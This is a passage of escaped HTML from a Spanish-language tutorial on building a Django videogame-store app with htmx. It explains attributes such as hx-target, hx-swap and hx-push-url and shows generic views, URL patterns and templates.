id=&#34;hx-target&#34;&gt;hx-target&lt;/h3&gt;&#xA;&lt;p&gt;Indica el elemento en donde queremos cargar la respuesta que obtendremos a la dirección que escribimos en hx-get, si no especificamos ninguno se usará el que hizo la petición. En el ejemplo se ha especificado la id del elemento padre. Si se omite este valor se reemplazará el elemento que hizo la petición, es decir, el que posee el atributo hx-get.&lt;/p&gt;&#xA;&lt;h3 id=&#34;hx-swap&#34;&gt;hx-swap&lt;/h3&gt;&#xA;&lt;p&gt;Indica el elemento donde se colocará el resultado de la petición. Tenemos varias opciones:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;outerHTML: sustituyendo a la etiqueta&lt;/li&gt;&#xA;&lt;li&gt;innerHTML: en el interior de la etiqueta&lt;/li&gt;&#xA;&lt;li&gt;afterbegin: antes del primer hijo de la etiqueta&lt;/li&gt;&#xA;&lt;li&gt;beforebegin: antes de la etiqueta especificada&lt;/li&gt;&#xA;&lt;li&gt;beforeend: después del último hijo de la etiqueta&lt;/li&gt;&#xA;&lt;li&gt;afterend: después de la etiqueta&lt;/li&gt;&#xA;&lt;li&gt;none: en ningún lugar&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;De manera predeterminada es innerHTML&lt;/p&gt;&#xA;&lt;h3 id=&#34;hx-push-url&#34;&gt;hx-push-url&lt;/h3&gt;&#xA;&lt;p&gt;Le indica a htmx que debe reemplazar la url del navegador por la url que especificamos en hx-get.&lt;/p&gt;&#xA;&lt;h3 id=&#34;hx-boost&#34;&gt;hx-boost&lt;/h3&gt;&#xA;&lt;p&gt;Si agregamos este atributo a la etiqueta body, todos los enlaces (anchors) que se encuentren en el interior van a tratarse como si se tratara de una SPA, se hará la petición y se reemplazará el body actual por el de la respuesta. Otorgando esa sensación de transición suave, como si estuvieras usando la API de Javascript para cambiar las urls.&lt;/p&gt;&#xA;&lt;p&gt;¿Pero y la etiqueta header? Pues ciertamente alguien tuvo el mismo problema y se desarrolló una extensión para el header también, puedes verla el enlace en el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/bigskysoftware/htmx-extensions/blob/main/src/head-support/README.md&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;repositorio de github de las extensiones de HTMX&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;generacion-de-html-para-htmx&#34;&gt;Generación de HTML para htmx&lt;/h2&gt;&#xA;&lt;p&gt;El HTML que usaremos será exactamente el mismo que generaría Django en una petición normal usando su sistema de plantillas, ya sea usando el método render o con vistas genéricas.&lt;/p&gt;&#xA;&lt;p&gt;Definamos primero nuestras vistas en la app videogameStore. Creemos el archivo &lt;em&gt;urls.py&lt;/em&gt; y, dado que usaremos vistas genéricas, colocamos las nombres y llamamos a su método &lt;em&gt;as_view()&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.urls &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; path&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .views &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ListVideogames, VideogameDetail&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;urlpatterns &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;list/&amp;#39;&lt;/span&gt;, ListVideogames&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;as_view(), name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogameList&amp;#34;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;lt;int:pk&amp;gt;/&amp;#39;&lt;/span&gt;, VideogameDetail&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;as_view(), name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogameDetail&amp;#34;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Hecho esto, vamos a crear las vistas. La vista de &lt;em&gt;ListView&lt;/em&gt; se encargará de devolver los objetos del modelo &lt;em&gt;Videogame&lt;/em&gt;. &lt;em&gt;context_object_name&lt;/em&gt; se encargará de asignarle el nombre que usaremos para acceder a este modelo en las plantilla &lt;em&gt;listVideogames.html&lt;/em&gt;, o sea &amp;ldquo;videogames&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;DetailView&lt;/em&gt; nos permite mostrar un solo objeto y usaremos la variable &amp;ldquo;videogame&amp;rdquo; para acceder al objeto en la plantilla &lt;em&gt;videogameDetail.html&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.shortcuts &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; render&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.views.generic &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ListView, DetailView&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ListVideogames&lt;/span&gt;(ListView):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    model &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    template_name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;listVideogames.html&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    context_object_name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogames&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameDetail&lt;/span&gt;(DetailView):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    model &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    template_name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogameDetail.html&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    context_object_name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogame&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora crearemos las plantillas que necesitamos para que nuestras vistas funcionen&lt;/p&gt;&#xA;&lt;p&gt;Primero &lt;em&gt;videogameDetail.html&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogame-detail&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;h2&lt;/span&gt;&amp;gt;{{videogame.title}}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;h2&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;{{videogame.description}}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;small&lt;/span&gt;&amp;gt;{{videogame.price}}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;small&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-get&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{%&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;url&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;videogameList&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;%}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-trigger&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;click&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-target&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#videogame-detail&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-swap&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;outerHTML&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-push-url&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        Return to list&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;           &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Después &lt;em&gt;listVideogames.html&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogame-list&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% for videogame in videogames %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-get&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{%&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;url&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;videogameDetail&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;videogame&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;pk&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;%}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-trigger&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;click&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-target&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#videogame-list&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-swap&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;outerHTML&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-push-url&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;h2&lt;/span&gt;&amp;gt;{{videogame.title}}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;h2&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;{{videogame.description|truncatewords:15}}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;Read more&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% endfor %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Observa como, en ambos casos, el HTML generado por Django en la url a la que apunta &lt;em&gt;hx-target&lt;/em&gt; reemplazará el div con el id &lt;em&gt;videogame-list&lt;/em&gt; tras haberse efectuado un click sobre el elemento.&lt;/p&gt;&#xA;&lt;h3 id=&#34;proceso-de-interaccion-entre-django-y-htmx&#34;&gt;Proceso de interacción entre django y htmx&lt;/h3&gt;&#xA;&lt;p&gt;Si nuestro código funciona, tras hacer click en el botón de home se realizarán los siguientes pasos:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/HtmxResponse-1.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/HtmxResponse-1.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Htmx renderizando una aplicación web.&#34; width=&#34;1339&#34; height=&#34;393&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Htmx realizará una petición GET a la url videogame/list/&lt;/li&gt;&#xA;&lt;li&gt;Django consultará la base de datos, obtendrá la información y la pasará al sistema de renderizado de plantillas&lt;/li&gt;&#xA;&lt;li&gt;El sistema de plantillas de Django renderizará el template &lt;em&gt;listVideogames.html&lt;/em&gt; y lo retornará como respuesta&lt;/li&gt;&#xA;&lt;li&gt;Htmx tomará el contenido de la respuesta y reemplazará la etiqueta que tiene el id &lt;em&gt;#videogame-list&lt;/em&gt; con esta&lt;/li&gt;&#xA;&lt;li&gt;Htmx modificará la url del navegador para que apunte a &lt;em&gt;videogame/list&lt;/em&gt;/&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;mandando-parametros-con-htmx&#34;&gt;Mandando parámetros con Htmx&lt;/h2&gt;&#xA;&lt;p&gt;Cualquier elemento que provoque una petición va a incluir su valor (inputs). Si este elemento es un formulario, htmx incluirá el contenido de todos los inputs que se encuentren dentro de las dos etiquetas form. Vamos a crear un formulario para probar esto.&lt;/p&gt;&#xA;&lt;p&gt;Primero agreguemos una vista para crear un videojuego en nuestro archivo &lt;em&gt;views.py&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.views.generic &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ListView, DetailView, CreateView&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameCreate&lt;/span&gt;(CreateView):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    model &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fields &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;genre&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;price&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    template_name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;createVideogameForm.html&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Recuerda dotar del método &lt;em&gt;get_absolute_url&lt;/em&gt; a nuestro modelo Videogame. Ya que si nuestra petición es exitosa, querremos que django nos redirija al nuevo objeto creado.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Videogame&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;get_absolute_url&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; reverse(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;videogameDetail&amp;#39;&lt;/span&gt;, args&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;[&lt;span style=&#34;color:#ff5c57&#34;&gt;str&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id)])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y coloquemos la url en nuestro archivo de &lt;em&gt;urls.py&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .views &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ListVideogames, VideogameDetail, VideogameCreate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;url_patterns &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;create/&amp;#39;&lt;/span&gt;, VideogameCreate&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;as_view(), name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogameCreate&amp;#34;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Entremos a la carpeta &lt;em&gt;templates&lt;/em&gt; y creemos la plantilla &lt;em&gt;createVideogameForm.html&lt;/em&gt; que especificamos en nuestra vista genérica.&lt;/p&gt;&#xA;&lt;p&gt;Asi mismo, nota como he eliminado el atributo &lt;em&gt;method&lt;/em&gt;. Si nuestra petición es correcta, el videojuego se agregará y nos redirigirá a la url que especificamos en el método &lt;em&gt;get_absolute_url&lt;/em&gt; que creamos más arriba.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span 